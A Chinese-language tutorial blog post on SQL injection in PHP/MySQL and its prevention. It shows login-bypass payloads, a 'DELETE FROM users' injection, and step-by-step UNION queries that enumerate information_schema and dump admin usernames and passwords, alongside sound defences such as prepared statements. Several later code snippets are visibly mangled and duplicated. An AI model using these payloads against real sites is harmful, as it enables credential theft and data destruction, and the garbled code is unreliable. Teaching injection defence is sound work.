SQL注入以及防範

SQL注入原理

SQL注入漏洞存在的原因,就是拼接SQL參數,所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

我們永遠不要信任用戶的輸入,我們必須認定用戶輸入的數據都是不安全的,我們都需要對用戶輸入的數據進行過濾處理。

例:參數爲id

$sql = 'select * from test where id='.$_GET['id'];

正常輸入2

則sql爲:select * from test where id=2;

只會查出id爲2的記錄

黑客輸入2 or 1=1

則sql爲select * from test where id=2 or 1=1;

這樣就會輸出test中所有的數據,就完成了一次sql注入

例:登錄輸入用戶名username和密碼password

$username = $_POST['username'];

$password = md5($_POST['password']);

//拼接sql

$sql="select * from test where username='".$username."' and password='".$password."'";

正常輸入用戶名ceshi和密碼123456

則sql爲select * from test where username='ceshi' and password='e10adc3949ba59abbe56e057f20f883e';

 

只會查出用戶名爲ceshi和password爲123456的記錄

黑客輸入用戶名ceshi' or 1=1 --和密碼123456

 

則sql爲select * from test where username='ceshi' or 1=1 -- ' and password='e10adc3949ba59abbe56e057f20f883e'

 

這樣查詢的時候就相當於執行的sql爲select * from test where username='ceshi' or 1=1,因爲'--'註釋了後面的sql

 

這樣又完成sql注入

sql注入的防範

1,預編譯和參數化(重點)

使用PDO

$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array(':name' => $name));

foreach ($stmt as $row) {

    // do something with $row

}

 

使用mysqli

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');

$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {

    // do something with $row

}

原理:採用上述方法,會將sql語句:'select * from employees where name = ?'預先編譯好,也就是

sql引擎會預先進行語法分析,產生語法樹,生成執行計劃也就是說,後面輸入的參數,無論輸入什麼,

都不會影響該sql語句的語法結構了,即後面的輸入的參數即使包含sql關鍵字(update select and or...)

也不可能當作sql命令來執行,只會被當作字符轉字面值參數,所以sql語句預編譯可以防禦sql注入

2,字符串過濾

 

在php.ini中開啓magic_quotes_gpc on,對輸入進行轉義

使用函數對輸入進行sql關鍵字過濾

 

sql注入之mysql的聯合查詢爆破

 

mysql的聯合查詢原理就是對mysql自帶的系統表進行查詢,因爲系統表包含了所有數據庫的屬性。沒有access表猜不出表名列名暴力破解的尷尬。

上圖是我針對mysql的聯合查詢,畫的系統表(系統數據庫)的結構

以查詢test數據庫爲例:

1.判斷列數

union select 1,2,3,..........  直到頁面返回正常爲止

2.判斷當前數據庫

union select  database(),2,3,4,5   1的位置將會返回數據庫的名字

數據庫名 database()

數據庫版本 version()

數據庫用戶 user()

操作系統 @@version_compile_os

3.查詢表名

union select  group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='test'

//group_concat()使多行數據在一列顯示

4.查詢列名

union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='admin'

5.查數據 (0x20是空格的意思)

方法一:

union select  group_concat(username,0x20,password),2,3,4,5 from test.admin  //將所有數據在一行顯示

方法二

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin    //因爲網頁限制只能顯示一行數據,所以顯示第一行數據 

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('root')  //把第一行的用戶排除掉,第二行自動上來

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('admin','root') //看第三行數據

 

1.以下實例中,輸入的用戶名必須爲字母、數字及下劃線的組合,且用戶名長度爲 8 到 20 個字符之間:

if (preg_match("/^\w{8,20}/",$_GET['username'], $matches)) {

    result=mysql_query("SELECT ∗ FROM users WHERE username = $matches[0]");

} else { echo "username 輸入異常"; }   

讓我們看下在沒有過濾特殊字符時,出現的SQL情況:

// 設定username中插入了我們不需要的SQL語句username中插入了我們不需要的SQL語句username = "Qadir'; DELETE FROM users;"; mysql_query("SELECT * FROM users WHERE username='{username}'");

  以上的注入語句中,我們沒有對username}'");  以上的注入語句中,我們沒有對username 的變量進行過濾,$name 中插入了我們不需要的SQL語句,將刪除 users 表中的所有數據。

  2.在PHP中的 mysql_query() 是不允許執行多個SQL語句的,但是在 SQLite 和 PostgreSQL 是可以同時執行多條SQL語句的,所以我們對這些用戶的數據需要進行嚴格的驗證。

  防止SQL注入,我們需要注意以下幾個要點:

1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙"-"進行轉換等。

2.永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。

3.永遠不要使用管理員權限的數據庫連接,爲每個應用使用單獨的權限有限的數據庫連接。

4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。

5.應用的異常信息應該給出儘可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝

6.sql注入的檢測方法一般採取輔助軟件或網站平臺來檢測,軟件一般採用sql注入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL注入,XSS攻擊等。

  3.防止SQL注入

  在腳本語言,如Perl和PHP你可以對用戶輸入的數據進行轉義從而來防止SQL注入。

  PHP的MySQL擴展提供了mysql_real_escape_string()函數來轉義特殊的輸入字符。

if (get_magic_quotes_gpc()) { name=stripslashes(name=stripslashes(name); } name=mysqlrealescapestring(name=mysqlrealescapestring(name); mysql_query("SELECT * FROM users WHERE name='{$name}'");   4.Like語句中的注入

  like查詢時,如果用戶輸入的值有""和"%",則會出現這種情況:用戶本來只是想查詢"abcd",查詢結果中卻有"abcd_"、"abcde"、"abcdf"等等;用戶要查詢"30%"(注:百分之三十)時也會出現問題。

  在PHP腳本中我們可以使用addcslashes()函數來處理以上情況,如下實例:

sub=addcslashes(mysqlrealescapestring("//sub=addcslashes(mysqlrealescapestring("//sub == %something_ mysql_query("SELECT * FROM messages WHERE subject LIKE '{$sub}%'");   addcslashes()函數在指定的字符前添加反斜槓。

  語法格式:

  addcslashes(string,characters)

  參數 描述

  string 必需。規定要檢查的字符串。

  characters 可選。規定受 addcslashes() 影響的字符或字符範圍。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章